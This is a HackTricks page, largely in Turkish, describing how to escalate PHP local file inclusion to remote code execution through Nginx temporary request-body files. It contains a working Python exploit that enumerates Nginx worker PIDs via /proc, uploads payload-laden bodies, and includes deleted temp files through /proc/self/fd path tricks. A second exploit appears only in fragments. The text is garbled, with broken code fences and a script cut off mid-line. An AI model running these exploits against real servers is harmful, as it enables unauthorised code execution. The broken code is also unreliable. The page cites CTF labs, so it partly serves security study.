LFI2RCE via Nginx temp files

Sıfırdan kahraman olmaya kadar AWS hackleme htARTE (HackTricks AWS Red Team Expert) öğrenin!

HackTricks'ı desteklemenin diğer yolları:

WhiteIntel, şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından tehlikeye atılıp atılmadığını kontrol etmek için ücretsiz işlevsellikler sunan dark-web destekli bir arama motorudur.

WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:


Zayıf yapılandırma

https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ adresinden örnek

  • PHP kodu:

````h`

/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` Not: Bu örnekte PHP'nin `include` işlevi, dosya yolunu `/var/lib/nginx/body/0000001368 (deleted)` olarak çözümleyeceğinden dolayı, bu örnekte doğrudan `/proc/34/fd/15` dahil edilemez. Bu küçük kısıtlama, şans eseri `/proc/self/fd/34/../../../34/fd/15` gibi bazı dolaylı yollarla atlatılabilir ve sonunda silinmiş `/var/lib/nginx/body/0000001368` dosyasının içeriğini yürütür. ## Tam Sömürü ```python #!/usr/bin/env python3 import sys, threading, requests # nginx'in müşteri gövde tamponlama yardımıyla PHP yerel dosya dahil etme (LFI) açığı # ayrıntılar için https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ adresine bakın URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # nginx işçi süreçlerini bul r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] nginx worker found: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # nginx'in /var/lib/nginx/body/$X oluşturması için büyük bir müşteri gövdesi yükleyin def uploader(): print('[+] yükleyici başlıyor') while not done: requests.get(URL, data=' //'

requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
<p>send_payload_worker(requests_session) fonksiyonunu sürekli çağırır.</p>

<p>send_payload_multiprocess(requests_session) fonksiyonu, Nginx için istek gövdesi olarak payload göndermek için tüm CPU'ları kullanır. multiprocessing.cpu_count() sayısı kadar işlem başlatır.</p>

<p>generate_random_path_prefix(nginx_pids) fonksiyonu, rastgele sayıda ProcFS yol bileşeninden oluşan bir yol oluşturur. Oluşturulan yol /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root gibi görünecektir.</p>

<p>read_file(requests_session, nginx_pid, fd, nginx_pids) fonksiyonu, belirli bir Nginx PID'si ve dosya tanıtıcısı (fd) için istek gövdesi olarak payload gönderir ve yanıtı kontrol eder.</p>

<p>read_file_worker(requests_session, nginx_pid, nginx_pids) fonksiyonu, belirli bir Nginx PID'si için belirli dosya tanıtıcıları arasında dolaşarak payload gönderir ve yanıtı kontrol eder.</p>

<p>read_file_multiprocess(requests_session, nginx_pids) fonksiyonu, her bir Nginx PID'si için ayrı bir işlem oluşturarak dosya okuma işlemlerini çoklu işlemle gerçekleştirir.</p>

<p>if __name__ == "__main__":</p>
<p>print('\[DEBUG] Creating requests session')</p>
<p>requests_session = create_requests_session()</p>
<p>print('\[DEBUG] Getting Nginx pids')</p>
<p>nginx_pids = get_nginx_pids(requests_session)</p>
<p>print(f'\[DEBUG] Nginx pids: {nginx_pids}')</p>
<p>print('\[DEBUG] Starting payload sending')</p>
<p>send_payload_multiprocess(requests_session)</p>
<p>print('\[DEBUG] Starting fd readers')</p>
<p>read_file_multiprocess(requests_session, nginx_pids)</p>

## Labs

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)

## References

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.

Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.

You can check their website and try their engine for **free** at:

<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

Last updated